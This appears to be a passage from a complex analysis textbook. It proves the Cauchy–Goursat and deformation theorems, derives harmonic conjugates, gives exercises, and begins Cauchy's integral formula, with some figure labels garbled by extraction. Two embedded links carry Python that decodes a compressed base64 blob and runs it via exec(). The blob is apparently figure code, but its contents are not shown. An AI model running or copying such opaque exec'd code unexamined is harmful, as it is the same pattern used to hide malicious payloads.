∂∆ f = 0, i.e.∫

[z0,z]
f +

∫
[z, z+∆z]

f +
∫

[z+∆z, z0]
f = 0,

which by (19.12) rearranges to

F (z + ∆z) − F (z) =
∫

[z, z+∆z]
f(ζ) dζ.

This is exactly the identity established in the proof of Theorem 20.4, and the same estimate shows
F ′(z) = f(z). Now (20.8) follows from Theorem 20.2.

This proof used analyticity of f only through Goursat’s theorem, applied to closed triangles
in D, and otherwise only continuity of f . If f is merely continuous on D and analytic on D \ {p},
Goursat’s theorem still applies, by its last assertion, so the proof goes through unchanged.

Theorem 20.9 (Cauchy–Goursat, simply connected case). Let D be a simply connected region
and f analytic on D. Then ∮

γ
f(z) dz = 0 (20.10)

for every closed contour γ in D; equivalently (by Theorem 20.4) f has an antiderivative on D
and

∫
γ f depends only on the endpoints of γ.

Proof sketch. Cover the compact image of γ by finitely many discs contained in D; on each disc
f has an antiderivative by Theorem 20.8, and these local antiderivatives agree up to constants on
overlaps. Following γ through the chain of discs produces a continuous choice of antiderivative
along γ, whose net change is

∮
γ f . Simple connectivity says γ is homotopic in D to a constant path;

the net change varies continuously under the homotopy while taking values in a set determined by
the local antiderivatives, hence is constant, hence equals its value for the constant path, namely
0. The full argument (the “homotopy form of Cauchy’s theorem”, in which a Lebesgue-number
argument subdivides [a, b] × [0, 1] into small rectangles, each mapped by the homotopy into a disc
contained in D, and Theorem 20.8 is applied on each disc) is standard but longer, and we take it
as known; see for instance Stein and Shakarchi, Complex Analysis, Chapter 3, Section 5.

What depends on this sketch. Theorem 20.9 is used in the proof of the deformation The-
orem 20.10, and through it in Examples 20.11 and 20.12 and in Cauchy’s integral formula for
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general simple closed contours (Theorem 21.1, Step 2 of the proof); it is used directly in Corol-
lary 20.13. It is not needed for circles: Cauchy’s integral formula and the formulas for derivatives
on a circle, hence the infinite differentiability of analytic functions (Corollary 21.5), Cauchy’s
inequalities and Liouville’s theorem, rest only on Goursat’s Theorem 20.5 and the star-shaped
case, Theorem 20.8.
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the running total 
Z
°[a; t]

f dz (starts at 0, square)

f(z) = z 2  integrated along the circle jz¡ (0:4 + 0:3i)j= 1
the loop has closed:  

I
°
f dz= 0:000 + 0:000i  (Cauchy's theorem)

Figure 20.5 (animated). The Cauchy–Goursat theorem watched as t runs from a to b: the point γ(t)
goes round a closed contour (left) while the running integral

∫
γ[a,t] f dz moves in its own plane (right).

It starts at 0 and returns to 0 exactly when the loop closes: z2 on a circle, ez on a square, and 1/z
on the circle |z − 2| = 1, whose singularity 0 lies outside the loop. Last, the counterexample 1/z on
the unit circle: 0 is inside, f is not analytic there, and the integral ends at 2πi (Example 19.11).

Background on simple closed contours. The deformation theorem below, and Cauchy’s integral
formula for general contours in Chapter 21, speak of the interior of a simple closed contour and
of its counterclockwise orientation. These rest on the Jordan curve theorem, which we state and
take as known: the complement of a simple closed contour C consists of exactly two regions, a
bounded one, the interior of C, and an unbounded one, the exterior, and C is the boundary of
each. The contour is traversed counterclockwise if its interior lies to the left of the direction of
travel; for the circle (19.8) this is the usual meaning, and for circles, rectangles, triangles and
ellipses these facts can be checked by hand. We use them without proof.

Theorem 20.10 (Deformation of contours). Let C and C ′ be simple closed contours, both tra-
versed counterclockwise, with C ′ lying in the interior of C. Suppose f is analytic on an open set
containing C, C ′ and the region between them (the interior of C minus C ′ and its interior). Then∮

C
f(z) dz =

∮
C′
f(z) dz. (20.11)

More generally, if C ′
1, . . . , C

′
m are simple closed contours, counterclockwise, lying in the interior

of C with pairwise disjoint interiors, and f is analytic on an open set containing C, every C ′
k,

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=cauchy1_total&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWWlz2zYT%2Fq5fsS9rT8maYiTZTlM57EzrxlN1krbT9JukaiAKlGhRJENA1uH4v7%2FPAqQOH2nfIzMxycVisfcBNSYypiIVGzdOpj7FpVjI6qF8SjItyzuR%2BjQe5%2Bvw1zyTXrdB%2BJcsirzUlORYEkq%2BvvBpIXSR5jpNxkGx4TcSCqS1wY%2FLfEG93zd6lmfBJFF8ZE3k5z8%2FvPepAhps7AqiNFeSufIMqFp2Gdl1HOdtsphSMgmdIh7h1SGlN6kMnWhZqrzsFrnh3SGdaANOk2hOOqdCLJV0vm%2B8VVGZFPr7xp0oqYgppFWSTfJVYN7v4y71hz7Nu9TyqVxmXdLlUj5AJTg2pEkeLRcy08FU6nep5NcfN72JW3PjXTXwCPLMnhtSvMwineQZuR7d47wANAH%2Bl327ooerhpK6V%2BnbPUKH%2FElMboVLnz%2Fz%2Fjl9H%2FIzDlKZTfXMo1LqZZldMTaOVmVEFqHP2MMruykk1zzPqO3R6SmdTq4akOp0Ao7fvqp0AvXSKbmPvcDzrCliKSesg2OLeDsTjmCWP6GtCjsvaQ4aVIpsKiuilRdZzwDAnXs7wHjJFkjy4MeNlqr3m7tfgjcEStxJPF2g%2BUwcbgcnyKaOddJRkkUzqUJ%2B32%2FEOmhaTw3Gry9kFuUTyTTYgpBtKV3PCybSgA8OhKjBspgILa2cX9d%2BY1RfLNXMdbAquslCTOUrnHNVxcOpcrydRr%2BGPrEGBX5FTfwjmU0oj%2BmXZQEhy%2FeJliYKZWmWG7DAtVhGs83XivRM5qVc%2BHQnS8U%2B0e4yjL0ySyCXzrVIg8YPwGSYsrEm2NnHBtHEAk3FYiFc7dE0l4rgmaCQL8GGoDTPC3JTGWsYUQBkdolSJyI11p%2BWIm30eHO4%2B2b2Y5psKQdfljpcUOkyiTT8A6f3hU96SAsgKHaAROPcVcaCZpLcMpnOtBdQTyN2cZgioRFtjRU4gKSWkyiHt8BwNnhbJNci0umGVjOZGTYN7yZXKKjOeFuMnSLd6CSCmIZKkqlkInf4DfdPq1NFnVbwxue%2F34GT90Jp32BF0AzsgtMWRSqp%2FWpbKYsXl1miKUrKCCuwo%2BG7Q0VCSdD4fXOTTLE9u0NKgLGsqawXEHJtkoFPuK9hq3Z9c2ZGkUhTZZNxEARewF4Af%2Fk4EyUUyvZgnTM9PSulJOshoATf47OUPazOHcrfCaz2Zq29pjZjgBMWYi5HkaGG1I2TFAIP2AmbDWqXIppVMvik8A2Lb2qhYLuNIiXTuAmxtYCEk6BRpfZsuQBB1IGsqEH7MtE4qBhIyq7zwxSZ8yneo3LS4OpQRr8LaE%2FVwXnvAH%2Bm5VoHMbhALnW65EQLZAWHAUEsFkm6YaCSZRLv4CrZSkDbnQev0WhwNVSfllA4nL1Lf%2F%2FvK2tfswUVRM9g%2BzKD%2B1Kz3Ux8sn%2FO8KeJv1cIUQRCHzXlYmiSDCfprAhEWcLq%2FWabmtS%2BxY7d88w8mwcvvDK0KWpudy8SuMBy4eI1hrlL8B7AhptCurAf3OvcotsKQVF%2FPgQ5V4PU3KNvyAWE6Q8B4EXWxPUPH999BPm%2BERKpVrBX6yRb5kt4PN4QpMkdHO9OkkhzTkR1OLochXW2Ovf2flilCUA5N4yHVWWPtBuHqViMJ4K2XdrSN99Qx6ebx7BzekXnPk1ruEZ1Di7AeSs4v8UD8st14bZvIZNJZSEUPQ47%2BMRSkfi7vE5xhtALndjdeuH2r%2FvOAxzixsJuKtj5w6tzQJnv0DFJwYb8yedt08W5Zzg18T6H7RNgKcRUyB1DPre1zz%2BUzTLGEtVv09D6zI7JixeYk3%2Fdbx8zV8P2rD3ngCeDQbFo8x9K%2Fp7Fvarb0PKWeeV271jbnf9eyUihj6QYDDhky8X9%2B3z6MBj425eU3WEdE7knrRNCSsqXmrO5txOp9T%2FJ9H%2BRB8Kk%2BZS2gwHtxKrCRU4ANAHyYFZNCByJelBPulQJ2fv1Y%2B%2Bndz6dxOYz4%2FRXFzXsKeVj6W9Eqlj8YeMDovai1WrRP%2F2H8EbSJsW1jksDiozJ%2BKZUcihfc9IyCcG2bdqmHSCrQkTSve47wgEbeI75%2BcG0lwZ1C1SAp84QSclCFnuQq%2FvtLuci3e8220MPVupYLCDoiuTWGWIHKs%2B2XukZCDgoR5xK8YJuXCEBYi0G2e3Cs9abJDEbyxvuRf37Lsa2LQ2LfuPWfZNnq%2BujzLcz8qMc6O92Cs%2BDgL1a%2FJuWFf%2BG%2BYTxPO7t7TdJmNAoNp%2FatVrgG6sD7D2r5G80bv7w6eff3v8E%2BCWU0G79AzOb3psKSGp5NG2HsDMRZ2XTPqCYqBkEMub%2FeP3zOz6i76KEoc64qEE3f3ANgljsG8m%2Btccg4hovqZZu90vYcma49YZVlRXavfbp9h8VWbCO2UyubTdSMXngsOi%2FjGg4Eea0%2FexhwcM217Rv7gf4xS28zK1lqIt%2BvNDuqppKql3OaXAe06kifiZmIloFpYTPcMGByp2mw8ZbBdz701tqXsrmhTWic4b4FGPl2kXvuLcYpckCzbBbaDRmhZiEraDdqQ4HrGoJlG0KALB%2BsMaR67ZPGzw3bR7utDL8cP13kbn232Jdf%2FPph%2Bv2m9cNzRkPhK3gEiKBD44aXltzk7G2xzTNeW3ZrHqIaO1TtOFta%2FbGddsErU%2Fuhj839vOo21iDxszn55l5bqrvDX83GtwMh2bix9uyNCM%2FN2Wh20aR9ekyuIT6xJozCc9%2FYjIZibVUbh9GuPTZFG%2F47wX%2F%2BbYzZNzVM7iXr5%2FDNdcDFTZ3j6wMXvzuEg8HRpyJ0ImkuUvgcROtJfPWhjbUcvzcxtaXNxq0KE%2FzMnTQQFyi4UUHrZmHeyfC6IhmlIvUQ0PLRcGRN3wxKHhCU%2FAXjAelwGBl%2B3IbCi68J1%2Bp2vFYCyMEpSvWxhEqbxPrIEqF%2B4KDPfFWr96E%2Fnq0Bty1e7yrGrhhoCWwBwpVSBRkR4Je6lg4Ctl8VJge3k3FGFHD6nmzO0GsZ4ht6bYOtPXmkuvmCuHyxhIR67svItVRB08sRpwV3OtKcNu388gLx89kahKWoEyuqBr6umSVypNylSnzDJMn78NIy3mnMFNrNOMUV%2FG90%2FLWrwqUrWCmknHBdobDWsZtwGONaxFM5Nb1zoTpoUxWpHbQeXYvSsXRdv62FBzl7MjM8bpQ4ev9tcwnU9drvvZXMjvyLAHoup88Iw3TNO%2FOek9Wi3EXDmiJt2GJhVyFHQTtjlN2ARNnbumcbE%2BaZv5HpzOoS%2BvJwb1FDRWAutYBvXr2znerY7SPO7zH8WVPNlEFdegSLQobINzLxV0w%2Fz8QYZwupdVyJ7g4pjDJ9Qv7ndx5jggU8W3te%2BxEletBh5X3PeLNaIhvkWp7djMzjh0btQaagvKUwT2RyuX6mSXAvO4hvHtYMwd3H3HOcZP6WjeuiZpUhKYDrdLeMaqUbnrNQw5qZEos9CDeuB%2FoJ8OjAZQ79YqDmRQTE8LcDPhkbuIqXozLWOfh%2FArfOVUYA6rOTe9arlNlajP3ftyNV7HGpzvD6sYSYt2iQNuivxcHGfyI%2FgC0R%2FeDugvUw4d44E%2B2Ic7lI7hHsAxaqjK1rVs%2BPwyeR0R3o%2B9MKHtPNUHLczLID87aH4Mp5%2FG9n%2Ff80Ur%2BJ0diolnql04NOwO%2BvBpk8lPrpPvsyFFdoFXh90QbtoWqbrMqT4I94RCmf%2BzPgc%2FdofnybG99zX1w5R1XxJfhdUtYm%2ByJdz5KsauDFNtjs9cds8Vb2VhFRmp9KRHWyIdZ6sn1Kr3kG5ykdpeXmN38qmh6zyelg5hZHSWm1YuJKTcddJ2aOk%2FpHKSn1ZfT046UTVBmUj5OT41nGDzKTr3nslPvS9lp9Ux26j3JTr2j7GRa0%2BPMsMOBt8E3HL4mdbh%2BTdN8jHzkVpPEV1SUqM4TpIexLdb2ShZnYWwjVL0KfHj1jnPm1Q9Pz%2F4SFu6dd%2F9zSPgaRjWB%2BGKDBnLg0P7q1a3u4hV2c3zZMaZUuprFbKDufv6qLzj7TjGJzZ0m3%2BeZJHvRaex%2FODGTVeUVhz%2BPjEZxksrRKCgVhiQ0X69g97bXbxrDgTHM7U5QbPgidGS5CnCS4%2B3bg8djv2Gt5GHKITptvsFk1Ly4rFNM06Sc3VwdfjEv97sXl%2FjmHFIZlsd%2FnP1v33V5%2Bw%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
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and all points inside C and outside every C ′
k, then∮

C
f(z) dz =

m∑
k=1

∮
C′

k

f(z) dz. (20.12)

Proof. Introduce two disjoint “cut” arcs σ1, σ2 joining C to C ′ inside the region. They divide the
region between the curves into two pieces, each bounded by a closed contour lying in a simply
connected region on which f is analytic. (That such cuts exist and that the pieces have this
property is evident in a picture; for general C and C ′ it is a statement of Jordan–Schoenflies type,
which we do not prove and take as known together with the Jordan curve theorem. The proof also
uses Theorem 20.9, whose proof was only sketched.) By Theorem 20.9 the integral of f around
each piece is 0. Adding the two, the contributions of σ1 and σ2 cancel (each is traversed once in
each direction), leaving ∮

C
f −

∮
C′
f = 0,

the sign arising because the inner curve is traversed clockwise as part of the boundary of the
region. The many-hole version is the same argument with m+ 1 cuts.

C

C′

σ1σ2

Figure 20.6. The deformation theorem 20.10. Two cuts σ1, σ2 divide the region between C and C′

into two pieces, each lying in a simply connected subregion where Cauchy–Goursat applies. Adding
the two vanishing integrals, the cuts cancel (each is traversed once in each direction) and only C and
−C′ survive — which is (20.11).



CHAPTER 20. THE CAUCHY–GOURSAT THEOREM AND INDEPENDENCE OF PATH148

z0

Each cut is run twice, in opposite directions

so the cuts cancel

Figure 20.7 (animated). The proof of Theorem 20.10, with the two cuts σ1, σ2 of the figure above.
f is analytic except at z0, inside C′. The two pieces of the region between C and C′ are pulled apart
and run round counterclockwise; neither contains a singularity, so each integral is 0 by Theorem 20.9.
When the pieces are put back, each cut carries two arrows pointing in opposite directions, and the
cuts cancel by (19.12). What is left is C counterclockwise and C′ clockwise, so

∮
C
f −

∮
C′ f = 0;

running C′ counterclockwise instead changes the sign of its integral and gives (20.11).

Example 20.11 (Deformation in action). Let C be any simple closed contour, counterclockwise,
whose interior contains z0. Then ∮

C

dz
z − z0

= 2πi. (20.13)

Indeed, choose ρ > 0 so small that C(z0, ρ) lies inside C. The integrand is analytic on C \ {z0},
hence on a neighbourhood of the region between the two curves, so Theorem 20.10 applies and
reduces the integral to the one computed in (19.16). The shape of C is irrelevant: only the fact
that z0 is inside matters.

Example 20.12 (A rational integrand). Evaluate
∮

|z|=3

2z + 1
z2 + z

dz. Partial fractions give 2z+1
z(z+1) =

1
z + 1

z+1 . Both singularities 0 and −1 lie inside |z| = 3, so by (20.13) applied twice the answer
is 2πi + 2πi = 4πi. If instead the contour were |z + 1| = 1

2 , only −1 would be enclosed and the
value would be 2πi; the term 1/z would contribute 0 by Theorem 20.9, being analytic inside.
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0¡1

Each cut is run twice, in opposite directions

so the cuts cancel

Figure 20.8 (animated). The many-hole form (20.12) for Example 20.12: f(z) = 2z+1
z2+z

= 1
z

+ 1
z+1 is

analytic except at 0 and −1, inside the circles C′
1 and C′

2. Three cuts along the real axis (m+ 1 cuts
for m = 2 holes) divide the region inside C and outside both circles into two pieces with no singularity
inside. Pull apart, run round, put back: the cuts cancel, leaving C counterclockwise and both circles
clockwise, so

∮
C
f =

∮
C′

1
f +

∮
C′

2
f = 2πi+ 2πi = 4πi.

20.4 Consequences for harmonic conjugates
We can now close a gap left in Theorem 15.6, whose last sentence was not proved there. (The
proof below uses Theorem 20.9, whose proof was only sketched.)

Corollary 20.13 (Harmonic conjugates on simply connected regions). Let D be a simply con-
nected region and u harmonic on D. Then u has a harmonic conjugate on D, unique up to an
additive real constant; equivalently there is an analytic f on D with Re f = u.

Proof. Set g := ux − i uy on D. Its components are U = ux and V = −uy, and

Ux = uxx
(15.1)= −uyy = Vy, Uy = uxy = uyx = −Vx,

using Clairaut’s theorem, valid since u has continuous second partials. So g satisfies the Cauchy–
Riemann equations (14.1) with continuous partials and is analytic on D by Theorem 14.6. By
Theorem 20.9, g has an antiderivative F on D. By (14.2), F ′ = (ReF )x+i(ImF )x, and comparing
with g = ux − iuy gives (ReF )x = ux and, using (14.1) for F , (ReF )y = −(ImF )x = uy. Hence
ReF − u has vanishing gradient on the region D and is therefore constant; adjusting F by that
real constant gives ReF = u, and v := ImF is the required conjugate. Uniqueness was proved in
Theorem 15.6.

Remark 15.7 showed that simple connectivity cannot be dropped: ln |z| on C \ {0} has no
global conjugate. The obstruction is precisely that

∮
|z|=1

dz
z = 2πi ̸= 0.
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20.5 Exercises
Exercise 20.1. Evaluate, with C the circle |z| = 2 counterclockwise:∮

C

dz
z − 1 ,

∮
C

dz
z − 5 ,

∮
C

z dz
z2 − 9 ,

∮
C

ez

z2 + 16 dz.

Exercise 20.2. Evaluate
∮
C

3z + 2
z2 − z

dz for (a) C : |z| = 1
2 , (b) C : |z − 1| = 1

2 , (c) C : |z| = 4.

Exercise 20.3. Show that
∫
γ

dz
z

= Log z2 − Log z1 whenever γ is a contour in the slit plane

C \ (−∞, 0] from z1 to z2, and explain why the formula fails if γ is allowed to cross the cut.

Exercise 20.4. (⋆) Let f be analytic on a region containing the closed annulus 1 ≤ |z| ≤ 2.
Prove

∮
|z|=2 f =

∮
|z|=1 f directly from Theorem 20.10, and deduce that

∮
|z|=ρ

ez

z dz is independent
of ρ > 0.

Exercise 20.5. Give an example of a region D, an f analytic on D, and a closed contour γ in D
with

∮
γ f ̸= 0. Which hypothesis of Theorem 20.9 does your example violate?

Exercise 20.6. Prove that if f is analytic on a region D and γ is a closed contour in D, then∮
γ f

′(z) dz = 0, with no hypothesis on D beyond being a region. (This is easier than Cauchy–
Goursat: f itself is the antiderivative.)

Exercise 20.7. Decide, for each region, whether every analytic function on it has an antideriva-
tive, and justify by Theorem 20.9 or by a counterexample:

D; C \ {0}; C \ (−∞, 0]; {1 < |z| < 2}; C \ {1,−1}.

Exercise 20.8. Evaluate
∮
C

( 2
z − i

+ 3
z + 2

)
dz where C is the ellipse x2

9 + y2

4 = 1 counterclockwise,
using (20.13) twice.

Exercise 20.9. (⋆) Let f be analytic on the punctured disc 0 < |z| < 1 and suppose
∮

|z|=ρ f = 0
for one (hence every) ρ ∈ (0, 1). Prove f has an antiderivative on the punctured disc. (The slit
discs D \ (−1, 0] and D \ [0, 1) are star-shaped, with respect to 1

2 and −1
2 , so by Theorem 20.8 f

has antiderivatives F1, F2 on them. On the upper and on the lower half-disc F1 −F2 is constant,
say c+ and c−. Integrate over the right half of |z| = ρ using F1 and over the left half using F2 to
show

∮
|z|=ρ f = c+ − c− for every ρ; then glue F1 and F2 + c+.)



Chapter 21

Cauchy’s Integral Formulas

Cauchy–Goursat says that the integral of an analytic function around a closed contour is zero.
The integral formulas say something far stronger and stranger: the values of an analytic function
inside a contour are completely determined by its values on the contour, by an explicit formula.
Nothing of the kind is true for real-differentiable functions.

21.1 The first formula
Theorem 21.1 (Cauchy’s integral formula). Let f be analytic on an open set D, let C be a simple
closed contour traversed counterclockwise such that C and its interior lie in D, and let z0 be a
point in the interior of C. Then

f(z0) = 1
2πi

∮
C

f(z)
z − z0

dz. (21.1)

This applies in particular when D is a simply connected region containing C, since then the
interior of C lies in D (a fact that rests on the Jordan curve theorem and that we take as known).

Proof. Step 1: C is a circle. Let C = C(c, r), whose interior is the open disc D(c, r), so that
D(c, r) ⊆ D, and let z0 ∈ D(c, r). There is R > r with D(c,R) ⊆ D: otherwise there are points
wn /∈ D with |wn − c| < r + 1/n, by Theorem 5.13 a subsequence converges to some w with
|w − c| ≤ r, and w /∈ D because C \D is closed — contradicting D(c, r) ⊆ D. Define

g(z) := f(z) − f(z0)
z − z0

(z ∈ D(c,R), z ̸= z0), g(z0) := f ′(z0).

Then g is analytic on D(c,R) \ {z0} by Theorem 13.3, and continuous at z0 by the definition
of f ′(z0). The disc D(c,R) is convex, hence star-shaped, so Theorem 20.8, in its form with one
exceptional point, gives

∮
C g = 0. Since z ̸= z0 on C, this says∮

C

f(z)
z − z0

dz = f(z0)
∮
C

dz
z − z0

.

It remains to show that the last integral is 2πi. Put A := z − c and w := z0 − c, so that
|A| = r > |w| on C. For every N ≥ 1, multiplying out a finite geometric sum gives

1
z − z0

= 1
A− w

=
N−1∑
k=0

wk

Ak+1 + wN

AN (A− w) .
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Integrate over C: by (19.16) (with centre c) the term k = 0 gives 2πi and the terms k ≥ 1
give 0, while the remainder has modulus at most |w|N /

(
rN (r − |w|)

)
on C, so by the ML-

inequality (19.15) its integral has modulus at most 2πr (|w| /r)N/(r−|w|) → 0 as N → ∞. Hence∮
C

dz
z−z0

= 2πi, and (21.1) follows.
Step 2: general C. The integrand f(z)

z−z0
is analytic on the open set D\{z0}. Choose ρ > 0 small

enough that the closed discD(z0, ρ) lies inside C, and let Cρ be the circle C(z0, ρ) counterclockwise.
By the deformation theorem 20.10,∮

C

f(z)
z − z0

dz =
∮
Cρ

f(z)
z − z0

dz for every such ρ. (21.2)

Now split the numerator:∮
Cρ

f(z)
z − z0

dz = f(z0)
∮
Cρ

dz
z − z0

+
∮
Cρ

f(z) − f(z0)
z − z0

dz.

The first integral is 2πi by (19.16). For the second, let ε > 0. Since f is continuous at z0
(Proposition 13.2) there is δ > 0 with |f(z) − f(z0)| < ε whenever |z − z0| < δ. Take ρ < δ. On
Cρ we have |z − z0| = ρ, so the integrand is bounded in modulus by ε/ρ, and length(Cρ) = 2πρ;
the ML-inequality (19.15) gives∣∣∣∮

Cρ

f(z) − f(z0)
z − z0

dz
∣∣∣ ≤ ε

ρ
· 2πρ = 2πε.

Therefore ∣∣∣∮
C

f(z)
z − z0

dz − 2πif(z0)
∣∣∣ ≤ 2πε

by (21.2), and the left-hand side does not depend on ε. Letting ε ↓ 0 gives (21.1). (Alternatively,
Step 1 applied to the circle Cρ evaluates the right-hand side of (21.2) at once.)

What the proof uses. Step 1 uses only Goursat’s Theorem 20.5 (with its exceptional point),
the star-shaped case Theorem 20.8, and the computation (19.16). Step 2 uses in addition the
deformation Theorem 20.10, and so the Jordan curve facts stated before it and Theorem 20.9,
whose proof was only sketched.
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z0

−0.2 0.0 0.2 0.4 0.6 0.8 1.0 1.2
−0.2

0.0

0.2

0.4

0.6

0.8

1.0

1.2

f(z0)

0

Shrink the circle: each piece tends to f(z0)¢µ=2¼

¢z¼ i½e iµ¢µ is small, 1=(z¡ z0) = e¡iµ=½ is large: the product i¢µ does not depend on ½

Figure 21.1 (animated). The proof of Theorem 21.1 for f(z) = ez and z0 = 0.2 + 0.3i. The curve
(left) is cut into 32 pieces, and their contributions 1

2πi

∫
f(z)
z−z0

dz over each piece (roughly 1
2πi

f(z)
z−z0

∆z)
are added tip to tail (right); the chain ends at f(z0) (the star). Deforming C into the circle Cρ changes
the chain but not its end, by (21.2). On Cρ, ∆z ≈ iρeiθ∆θ is small but 1/(z − z0) = e−iθ/ρ is large:
the product i∆θ does not depend on ρ. As the circle shrinks, f is nearly f(z0) on it, so each piece
tends to f(z0) ∆θ/2π and the chain straightens into 32 equal steps from 0 to f(z0).

Remark 21.2 (Reading the formula). Written as

f(z0) = 1
2π

∫ 2π

0
f
(
z0 + ρeiθ

)
dθ

— which is (21.1) for the circle Cρ, after substituting z = z0 + ρeiθ, dz = iρeiθ dθ — the formula
says that the value at the centre is the average of the values on any circle C(z0, ρ) about it with
D(z0, ρ) ⊆ D. This is the mean value property, and it is the source of the maximum modulus
principle (Theorem 24.11 in Chapter 24).

z0

C

f(z0) =
1

2πi
∮

C

f(z)
z − z0

dz

Figure 21.2. Cauchy’s integral formula (21.1), and the mean value form of Remark 21.2. The value
at the centre is the average of the boundary values: the data on the curve determines the function
everywhere inside, with no freedom left. Nothing remotely like this holds for real differentiable
functions, where interior values can be altered without touching the boundary.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=cif3_chain&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqlWVlz2zgSfuevwDJyDZmRaFE%2BkshRqjJOUslWxnFlvC%2BRtSqKBCVGFMkFKNuSx%2F99vwbAQz4ymV0%2FyCSORt%2F9NWhFPGZFGmycOJl3WSyCFTf%2FZJclWcnFVZB22WyW34zO8oy7Q4vhL1kVuShZkmMqkPz4sMtWQVmkeZkmM6%2FY0BMLJEiXan0s8hX7dL4pF3nmRYmkIysiHy9%2B%2F9xlZlCtxi4vTHPJiStXDZlphxY7tm2%2FTlZzlkQju4ineLSZLDcpH9nhWshcDItc8W6zMinVcJqES1bmrAjWkttvrNcyFElRvrGuAsGKmI3YdZJF%2BbWnnm%2FjIRtPumw5ZP0uE%2BtsyEqx5ndQCY4dsSgP1yueld6cl%2B9TTo%2B%2FbT5FTsWNe2Lhn5dn%2BtwRi9dZWCZ5xhyX3eI8DzQx%2FA%2F9dMLuTizJy09G387OcsifxMwxa9mff9L%2BJXszov%2Bxl%2FJsXi5cJni5FtkJrcbRUoRMLxjT6smJ3jRijvr%2FK%2FNdtrfH9qITC1LtReD49b7RCdTL9phz3wtcV5si5jwiHexaxK1NOIVZLqAtszoXbAkaTATZnBuixou0Z2DAWbr1wGxNFkhy77dNyeWnL04zBW%2FwZHDF8d%2FBsi4Rh9vBCbK5rZ10mmThgssRPTcbMQ%2Ba2lO92fEhz8I84kSDLAjZ1txxXS%2Fiarh1IET11kUUlFzL%2BUvlN0r1xVouHBuzwTBZBXO%2Bj3NOTDzsSdutNfoL9Ik5KPAZ6%2BGP8Sxiecz%2BuS4gpPiclFxFIRdq2oIFToN1uNj8IpX65yJIlbDrNGDOxYLngq%2FYwPd8qP2KC0m%2BcjBkQRQlEHVdsHIBigkPufSs2Nm6EJ%2F%2Fe%2Bsx7GWIkSvOEomHksjn7GBgFp%2BojWGelSKZrbUL%2Bvs0yxKXKULRdt%2FZ9rZ9lwTgQbjQW4leYIX5qkj5DcvWqxkXXRaQnJkiKpL5oqSnDQsEJ1bhRmVSUFSWQZIa3hYBfAXqAbWSDuy7HnvHSXaS7FTzi4MSEaagMsshw7ZP%2B%2BBeUrOvaIB9liELJaVU6m7U1vd8ovolYwEzdCCKCKJkLZlYIKdFWxJHroI0tRx9BsZZBOpl4Cqp%2FEoLWJgGYs5JUVjkDrXuRR6tQ5xuNiFlgDviJ%2BIF11rBao%2B9NTwrPiy5EEm2lCwmshkPRLrRSqD1SdllMm%2BJKEsRkFZ5Jms78v%2Bs4Suy5IXUWbdPCtaKtM43H5I5mfcKGQvG1bxqJwVjcZKBSUSXkrCKzC4tylgIZUhdKzzPAzE4Kdz5jwWsGSGvIpNDi0RPu26vctxe5bhBhiihYyVzVsGST8MEMbTBXrALCYwzKp%2FSPOGUZ2RzScyBCg5SSxqNsdMpWab2g3tWNry31hsNe5apPvBUsIBSlRXVUFPJrFZRQ91w7LdzJPeH6%2B5VPKX31myYp7mQVb0r86mYzyyLqpwIzwOoWVZJ5tbGNhj0pvRiBCFqgj1kdrhCdrNpwIuDVZJuaFBykcT1uEy2HKP%2B4M61Tk%2B%2FoKCe4xdRbz%2Fz4%2BP4xUta%2BSx8dRz0%2B7ZFGTYrPH5TsL%2F990xpM8iCdFMmYV3ZrG99EO17A9SWvnfw%2FX%2BgqYo2DCyTCHa1PiiKsfOt71pfqZqlwWoWBayEmN7RkTpncMSekyRhLp0BHktXDftmWCaZc0DDavTQNYedDslVfmVfQwcb%2BL9vk%2FLOiu6d0et7LSot4oetM9vEra8fvwAt4NdXmnjRxU%2F%2FyDq7wOuL45fWxUet9hQiFkHIHaweaFpF0mVnF11KVEoLow9BKlFBOYpJw9UV4AiY6rGaNeJBbccrEiTC6sa5UufC9X38upZlEcZTOd8BnS5TSUqVOCozTWQFFPEadmBdFczXAGq7EbeTK%2BvIO9Hmkyp1oEZEJeUHOkUQ6vDBNai64BNav%2FhIqqRTnhMRjfDur4v0QjXJa4d1%2FO%2BYq8Y16GHfyJoC4wCvDggB3tAqQWR4pYEESZBSOzL033LNVgEsk5WpMXVVhjaoLJpq0GbKUeVynzlbyAQnJpG2rifXK4eendr0WHN2oVYOvldjZLdz8pexYwP1IXoPDmFSoA1lLrwf9tW7zmd4Pz5W74s8jfA2OHQn1h%2BnH9%2B%2FI%2FdJZOlo%2FEWnZwqUTbssI1x2%2FtGtvUSWlISWjXsUCzhgl6rZXHAJMEg2czQPKpW7yp%2BYoz0Cb8jti%2FyaxYDVIl%2FDF0hbcSJkSTiagR6b56VbOQdxkqmmwzDTIEOA3iV7zbJmREE5yLMkXWXQqu%2FuzM0ED5b1yJL14DSWIUWHsBHyIWmzIWlspVkoVOSoEMZv8WCr0f3TuylcncKtKCAAH9Aw9nqahl9xQD6iksm%2BeoXPPG8OqEg%2FtdvXSywrTa4oeMaTKgxSoArHWPh6kSCgaUnDD715RV44roc6ml8RHtZbV8mNE4JwOEBZNRTM%2BeUasM9R0Vu62ocDIQAVdLHDNpcivnxsatD4X7wqneuKN3Bt4KSjPMm5BkPUjB7qPEydmRkn9N2M70Sh3dnzDmO2Jxn9v7zsJh3V3VTE7J5N9tE04G59xpF5mf0rgiiYSUO85jDlcekEN12j8Sqhwu%2FbOdWJAc9KjT4o9QrALQO7r5NyAQAs8mtE07ZfxQEy05QEVmkakhkhlDGABlAXcKpHgILyvZiOsWE7HvqTiZHj%2FqhWiUIeIw0I0usRjBekiOkRVU7Tzu2cXBcINYXdmCGzN5BCyaynV9SnZaUjYVUkME1tqzN1m5fxcEUZefKkRNutEQIPbb7xq9geoLo23WRAicJBkadoPTyg3xfHruqRKTu9Zj7DKspKbwghuNqgjkr7zwDBjfYJUaPQJ9mmAt914jFyBS25TBgnEOQYR6x2k5ISKigKI1SQAehTJrXhRDebkbMdq42VrepX5Vq0hBCfXtbbXdZrllk%2FU66UbEjXhRxFSQgZlKz6bqT35xv7gWq7bLUuVSqfSkB8PvKPqk